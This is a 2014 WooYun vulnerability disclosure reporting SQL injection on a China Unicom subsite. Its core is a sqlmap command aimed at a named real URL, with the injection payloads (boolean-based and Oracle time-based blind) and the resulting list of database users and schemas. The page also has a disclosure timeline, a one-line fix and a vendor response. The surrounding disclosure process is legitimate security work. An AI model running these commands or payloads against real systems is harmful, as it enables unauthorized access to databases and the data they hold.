当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069276

漏洞标题:联通某子站SQL注入漏洞

相关厂商:中国联通

漏洞作者: Manning

提交时间:2014-07-22 10:07

修复时间:2014-09-05 10:08

公开时间:2014-09-05 10:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-22: 细节已通知厂商并且等待厂商处理中
2014-07-27: 厂商已经确认,细节仅向厂商公开
2014-08-06: 细节向核心白帽子及相关领域专家公开
2014-08-16: 细节向普通白帽子公开
2014-08-26: 细节向实习白帽子公开
2014-09-05: 细节向公众公开

简要描述:

联通某子站SQL注入漏洞

详细说明:

C:\Sqlmap>sqlmap.py -u "http://thqm.wo.com.cn/thqm/searchCy.action" --data "content=k" --dbs --users

---
Place: POST
Parameter: content
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: content=k%' AND 7258=7258 AND '%'='
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: content=k%' AND 3977=DBMS_PIPE.RECEIVE_MESSAGE(CHR(84)||CHR(109)||C
HR(87)||CHR(72),5) AND '%'='
---
[08:09:43] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[08:09:43] [INFO] fetching database users
[08:09:43] [INFO] fetching number of database users
[08:09:43] [INFO] resumed: 22
[08:09:43] [INFO] resumed: THQM
[08:09:43] [INFO] resumed: SCOTT
[08:09:43] [INFO] resumed: MGMT_VIEW
[08:09:43] [INFO] resumed: MDDATA
[08:09:43] [INFO] resumed: SYSMAN
[08:09:43] [INFO] resumed: MDSYS
[08:09:43] [INFO] resumed: SI_INFORMTN_SCHEMA
[08:09:43] [INFO] resumed: ORDPLUGINS
[08:09:43] [INFO] resumed: ORDSYS
[08:09:43] [INFO] resumed: OLAPSYS
[08:09:43] [INFO] resumed: ANONYMOUS
[08:09:43] [INFO] resumed: XDB
[08:09:43] [INFO] resumed: CTXSYS
[08:09:43] [INFO] resumed: EXFSYS
[08:09:43] [INFO] resumed: WMSYS
[08:09:43] [INFO] resumed: DBSNMP
[08:09:43] [INFO] resumed: TSMSYS
[08:09:43] [INFO] resumed: DMSYS
[08:09:43] [INFO] resumed: DIP
[08:09:43] [INFO] resumed: OUTLN
[08:09:44] [INFO] resumed: SYSTEM
[08:09:44] [INFO] resumed: SYS
database management system users [22]:
[*] ANONYMOUS
[*] CTXSYS
[*] DBSNMP
[*] DIP
[*] DMSYS
[*] EXFSYS
[*] MDDATA
[*] MDSYS
[*] MGMT_VIEW
[*] OLAPSYS
[*] ORDPLUGINS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SI_INFORMTN_SCHEMA
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] THQM
[*] TSMSYS
[*] WMSYS
[*] XDB
[08:09:44] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[08:09:44] [INFO] fetching database (schema) names
[08:09:44] [INFO] fetching number of databases
[08:09:44] [INFO] resumed: 16
[08:09:44] [INFO] resumed: CTXSYS
[08:09:44] [INFO] resumed: DBSNMP
[08:09:44] [INFO] resumed: DMSYS
[08:09:44] [INFO] resumed: EXFSYS
[08:09:44] [INFO] resumed: MDSYS
[08:09:44] [INFO] resumed: OLAPSYS
[08:09:44] [INFO] resumed: ORDSYS
[08:09:44] [INFO] resumed: OUTLN
[08:09:44] [INFO] resumed: SCOTT
[08:09:44] [INFO] resumed: SYS
[08:09:44] [INFO] resumed: SYSMAN
[08:09:44] [INFO] resumed: SYSTEM
[08:09:44] [INFO] resumed: THQM
[08:09:44] [INFO] resumed: TSMSYS
[08:09:44] [INFO] resumed: WMSYS
[08:09:44] [INFO] resumed: XDB
available databases [16]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] THQM
[*] TSMSYS
[*] WMSYS
[*] XDB

漏洞证明:

QQ截图20140722081124.png

修复方案:

过滤参数

版权声明:转载请注明来源 Manning@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-07-27 08:31

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT直接通报给中国联通集团公司处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-07-22 14:56 | Brick713 ( 路人 | Rank:0 漏洞数:2 | 擅长围观各种漏洞,我就看看,偷摸试试。)

    鑫神,你这么找漏洞,我们压力好大!